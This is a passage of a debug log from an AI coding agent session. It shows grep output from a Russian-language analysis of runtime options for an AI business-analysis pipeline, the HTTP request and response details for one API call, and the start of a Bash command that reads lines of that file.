{\n[2026-09-29T07:51:33.062Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:51:33.062Z] [INFO]     \"content\": [\n[2026-09-29T07:51:33.062Z] [INFO]       {\n[2026-09-29T07:51:33.062Z] [INFO]         \"tool_use_id\": \"toolu_01BmmtAVMnPoufchp71Vez6b\",\n[2026-09-29T07:51:33.062Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:51:33.062Z] [INFO]         \"content\": \"65:OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441. \u041a\u0430\u043a \u044f\u0434\u0440\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u043e\u043d \u0445\u0443\u0436\u0435 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e runner:\\n156:| \u041c\u043e\u0434\u0435\u043b\u044c | GigaCode, \u0431\u0435\u0437 API Mango AI | Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API | Qwen, \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e | Mango AI \u0447\u0435\u0440\u0435\u0437 API, \u0432\u044b\u0437\u043e\u0432 \u0438\u0437 \u043a\u043e\u0434\u0430 |\\n251:| \u0413-30 | \u041c\u0435\u0442\u0440\u0438\u043a\u0430 \u043f\u0438\u043b\u043e\u0442\u0430 `deterministic_share` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0434\u043e\u043b\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 | `P10`: \u043f\u043e\u0441\u043b\u0435 \u0442\u0440\u0451\u0445 \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c \u0442\u0435\u043a\u0441\u0442\u043e\u043c \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u0440\u0430\u0432\u043d\u0430 `1.0`. [ADR-018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execu\\n269:| \u0413-43 | \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0439 runner \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e | \u0421\u0440\u0435\u0434\u0430 2 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API ([ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md)); \u043a\u043b\u0438\u0435\u043d\u0442 OpenAI\\n275:| \u0413-44 | n8n \u2014 \u0431\u043e\u043b\u0435\u0435 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 | \u0417\u0430: \u043f\u0430\u0443\u0437\u044b \u043d\u0430 \u0434\u043d\u0438 ([\u0413-46](#\u0433-46)), OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 ([\u0413-45](#\u0433-45)), \u0444\u043e\u0440\u043c\u044b, \u0447\u0430\u0442, Jira, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Server ([Jira](https://docs.n8n.io/integrations/builtin/credentials/jira.md)), Git ([docs](https://docs.n8n.io/integrations/b\\n276:| \u0413-45 | n8n \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u044c\u044e \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 | \u0423\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 OpenAI \u0432 n8n \u0438\u043c\u0435\u044e\u0442 \u043f\u043e\u043b\u0435 `Base URL` ([\u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434](https://github.com/n8n-io/n8n/blob/master/packages/nodes-base/credentials/OpenAiApi.credentials.ts)); \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u044f \u043d\u0435\u0442. \ufffd\\n305:  API -->|\u0448\u0430\u0433| LLM[\\\"Mango AI: OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API\\\"]\\n337:\u043f\u043e \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044e ADR-018 \u0434\u043e\u043b\u044f \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u043d\u0438\u0436\u0435 95% \u0438\u043b\u0438\\n353:| \u041c\u043e\u0434\u0435\u043b\u044c | Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API, \u0432\u044b\u0437\u043e\u0432 \u0438\u0437 \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435 | \u041c\u043e\u0434\u0435\u043b\u044c \u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a \u0443\u0437\u043b\u0430, \u043d\u043e \u043d\u0435 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0440\u0435\u0431\u0440\u043e |\\n390:  ([Building effective agents](https://www.anthropic.com/engineering/building-effective-agents));\\n392:  ([12-factor agents](https://github.com/humanlayer/12-factor-agents));\",\n[2026-09-29T07:51:33.062Z] [INFO]         \"is_error\": false\n[2026-09-29T07:51:33.062Z] [INFO]       }\n[2026-09-29T07:51:33.062Z] [INFO]     ]\n[2026-09-29T07:51:33.062Z] [INFO]   },\n[2026-09-29T07:51:33.062Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:33.062Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:33.062Z] [INFO]   \"uuid\": \"34771dd5-61fa-4cdd-9fbf-f07f649643f4\",\n[2026-09-29T07:51:33.062Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:33.056Z\",\n[2026-09-29T07:51:33.062Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:51:33.062Z] [INFO]     \"stdout\": \"65:OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441. \u041a\u0430\u043a \u044f\u0434\u0440\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u043e\u043d \u0445\u0443\u0436\u0435 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e runner:\\n156:| \u041c\u043e\u0434\u0435\u043b\u044c | GigaCode, \u0431\u0435\u0437 API Mango AI | Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API | Qwen, \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e | Mango AI \u0447\u0435\u0440\u0435\u0437 API, \u0432\u044b\u0437\u043e\u0432 \u0438\u0437 \u043a\u043e\u0434\u0430 |\\n251:| \u0413-30 | \u041c\u0435\u0442\u0440\u0438\u043a\u0430 \u043f\u0438\u043b\u043e\u0442\u0430 `deterministic_share` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0434\u043e\u043b\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 | `P10`: \u043f\u043e\u0441\u043b\u0435 \u0442\u0440\u0451\u0445 \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c \u0442\u0435\u043a\u0441\u0442\u043e\u043c \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u0440\u0430\u0432\u043d\u0430 `1.0`. [ADR-018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execu\\n269:| \u0413-43 | \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0439 runner \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e | \u0421\u0440\u0435\u0434\u0430 2 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API ([ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md)); \u043a\u043b\u0438\u0435\u043d\u0442 OpenAI\\n275:| \u0413-44 | n8n \u2014 \u0431\u043e\u043b\u0435\u0435 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 | \u0417\u0430: \u043f\u0430\u0443\u0437\u044b \u043d\u0430 \u0434\u043d\u0438 ([\u0413-46](#\u0433-46)), OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 ([\u0413-45](#\u0433-45)), \u0444\u043e\u0440\u043c\u044b, \u0447\u0430\u0442, Jira, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Server ([Jira](https://docs.n8n.io/integrations/builtin/credentials/jira.md)), Git ([docs](https://docs.n8n.io/integrations/b\\n276:| \u0413-45 | n8n \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u044c\u044e \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 | \u0423\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 OpenAI \u0432 n8n \u0438\u043c\u0435\u044e\u0442 \u043f\u043e\u043b\u0435 `Base URL` ([\u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434](https://github.com/n8n-io/n8n/blob/master/packages/nodes-base/credentials/OpenAiApi.credentials.ts)); \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u044f \u043d\u0435\u0442. \ufffd\\n305:  API -->|\u0448\u0430\u0433| LLM[\\\"Mango AI: OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API\\\"]\\n337:\u043f\u043e \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044e ADR-018 \u0434\u043e\u043b\u044f \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u043d\u0438\u0436\u0435 95% \u0438\u043b\u0438\\n353:| \u041c\u043e\u0434\u0435\u043b\u044c | Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API, \u0432\u044b\u0437\u043e\u0432 \u0438\u0437 \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435 | \u041c\u043e\u0434\u0435\u043b\u044c \u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a \u0443\u0437\u043b\u0430, \u043d\u043e \u043d\u0435 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0440\u0435\u0431\u0440\u043e |\\n390:  ([Building effective agents](https://www.anthropic.com/engineering/building-effective-agents));\\n392:  ([12-factor agents](https://github.com/humanlayer/12-factor-agents));\",\n[2026-09-29T07:51:33.062Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:51:33.062Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:51:33.062Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:51:33.062Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:51:33.062Z] [INFO]   }\n[2026-09-29T07:51:33.062Z] [INFO] }\n[2026-09-29T07:51:33.100Z] [STDOUT] [log_427d65] sending request {\n[2026-09-29T07:51:33.105Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:51:33.110Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:33.114Z] [STDOUT]   options: {\n[2026-09-29T07:51:33.121Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:51:33.129Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:51:33.134Z] [STDOUT]     body: {\n[2026-09-29T07:51:33.144Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:51:33.148Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:51:33.151Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:51:33.154Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:51:33.158Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:51:33.162Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:51:33.164Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:51:33.166Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:51:33.168Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:51:33.172Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:51:33.176Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:51:33.180Z] [STDOUT]       stream: true,\n[2026-09-29T07:51:33.184Z] [STDOUT]     },\n[2026-09-29T07:51:33.187Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:51:33.189Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:51:33.193Z] [STDOUT]       aborted: false,\n[2026-09-29T07:51:33.199Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:51:33.212Z] [STDOUT]       onabort: null,\n[2026-09-29T07:51:33.219Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:51:33.237Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:51:33.240Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:51:33.248Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:51:33.260Z] [STDOUT]     },\n[2026-09-29T07:51:33.265Z] [STDOUT]     stream: true,\n[2026-09-29T07:51:33.270Z] [STDOUT]   },\n[2026-09-29T07:51:33.275Z] [STDOUT]   headers: {\n[2026-09-29T07:51:33.279Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:51:33.285Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:51:33.289Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:51:33.295Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:51:33.298Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:51:33.304Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:51:33.307Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:51:33.311Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:51:33.318Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:51:33.323Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1406\",\n[2026-09-29T07:51:33.326Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:51:33.335Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:51:33.363Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:33.374Z] [STDOUT]     \"x-client-request-id\": \"1b2d9fe8-70c8-4236-b0ed-6a8925bc9267\",\n[2026-09-29T07:51:33.381Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:51:33.385Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:51:33.389Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:51:33.392Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:51:33.395Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:51:33.397Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:51:33.404Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:51:33.421Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:51:33.428Z] [STDOUT]   },\n[2026-09-29T07:51:33.436Z] [STDOUT] }\n[2026-09-29T07:51:33.990Z] [STDOUT] [log_427d65, request-id: \"req_011CfXNDuiJ52HTTayDfTQ1i\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 889ms\n[2026-09-29T07:51:33.996Z] [STDOUT] [log_427d65] response start {\n[2026-09-29T07:51:34.001Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:34.006Z] [STDOUT]   status: 200,\n[2026-09-29T07:51:34.013Z] [STDOUT]   headers: {\n[2026-09-29T07:51:34.019Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:51:34.027Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:51:34.067Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:51:34.071Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:51:34.074Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:51:34.082Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:51:34.090Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:51:34.094Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:51:34.101Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:51:34.104Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:51:34.109Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:51:34.116Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:51:34.126Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:51:34.135Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:51:34.138Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:51:34.141Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:51:34.144Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:51:34.154Z] [STDOUT]     \"cf-ray\": \"a429673fefd801ff-CDG\",\n[2026-09-29T07:51:34.159Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:51:34.164Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:51:34.169Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:51:34.175Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:51:34.179Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:51:33 GMT\",\n[2026-09-29T07:51:34.184Z] [STDOUT]     \"request-id\": \"req_011CfXNDuiJ52HTTayDfTQ1i\",\n[2026-09-29T07:51:34.190Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:51:34.192Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:51:34.197Z] [STDOUT]     traceresponse: \"00-7bc5b14bbffed8e7e13c4aaa54e93ff2-b33029478874b3e7-01\",\n[2026-09-29T07:51:34.202Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:51:34.209Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:51:34.219Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:51:34.225Z] [STDOUT]   },\n[2026-09-29T07:51:34.231Z] [STDOUT]   durationMs: 889,\n[2026-09-29T07:51:34.237Z] [STDOUT] }\n[2026-09-29T07:51:34.239Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:51:34.243Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:51:33 GMT\",\n[2026-09-29T07:51:34.246Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:51:34.250Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:51:34.253Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:51:34.255Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:51:34.257Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:51:34.260Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:51:34.263Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:51:34.267Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:51:34.274Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:51:34.279Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:51:34.283Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:51:34.286Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:51:34.289Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:51:34.297Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:51:34.301Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:51:34.305Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:51:34.307Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:51:34.309Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:51:34.319Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:51:34.324Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:51:34.328Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:51:34.335Z] [STDOUT]   \"request-id\": \"req_011CfXNDuiJ52HTTayDfTQ1i\",\n[2026-09-29T07:51:34.342Z] [STDOUT]   \"traceresponse\": \"00-7bc5b14bbffed8e7e13c4aaa54e93ff2-b33029478874b3e7-01\",\n[2026-09-29T07:51:34.346Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:51:34.352Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:51:34.354Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:51:34.359Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:51:34.361Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:51:34.366Z] [STDOUT]   \"cf-ray\": \"a429673fefd801ff-CDG\",\n[2026-09-29T07:51:34.368Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:51:34.372Z] [STDOUT] [log_427d65] response parsed {\n[2026-09-29T07:51:34.376Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:34.378Z] [STDOUT]   status: 200,\n[2026-09-29T07:51:34.385Z] [STDOUT]   body: X {\n[2026-09-29T07:51:34.389Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:51:34.394Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:51:34.399Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:51:34.405Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:51:34.412Z] [STDOUT]     },\n[2026-09-29T07:51:34.418Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:51:34.425Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:51:34.430Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:51:34.435Z] [STDOUT]   },\n[2026-09-29T07:51:34.439Z] [STDOUT]   durationMs: 890,\n[2026-09-29T07:51:34.445Z] [STDOUT] }\n[2026-09-29T07:51:35.157Z] [INFO] {\n[2026-09-29T07:51:35.157Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:51:35.157Z] [INFO]   \"message\": {\n[2026-09-29T07:51:35.157Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:51:35.157Z] [INFO]     \"id\": \"msg_011CfXNDv9Ltnw8L4S5YSW5w\",\n[2026-09-29T07:51:35.157Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:51:35.157Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:51:35.157Z] [INFO]     \"content\": [\n[2026-09-29T07:51:35.157Z] [INFO]       {\n[2026-09-29T07:51:35.157Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:51:35.157Z] [INFO]         \"id\": \"toolu_01X9Kkn54ojJQ1dZfriJ5dHv\",\n[2026-09-29T07:51:35.157Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:51:35.157Z] [INFO]         \"input\": {\n[2026-09-29T07:51:35.157Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process; sed -n 325,345p docs/analysis/2026-09-29-ba-ai-process-runtime-options.md; sed -n 385,395p 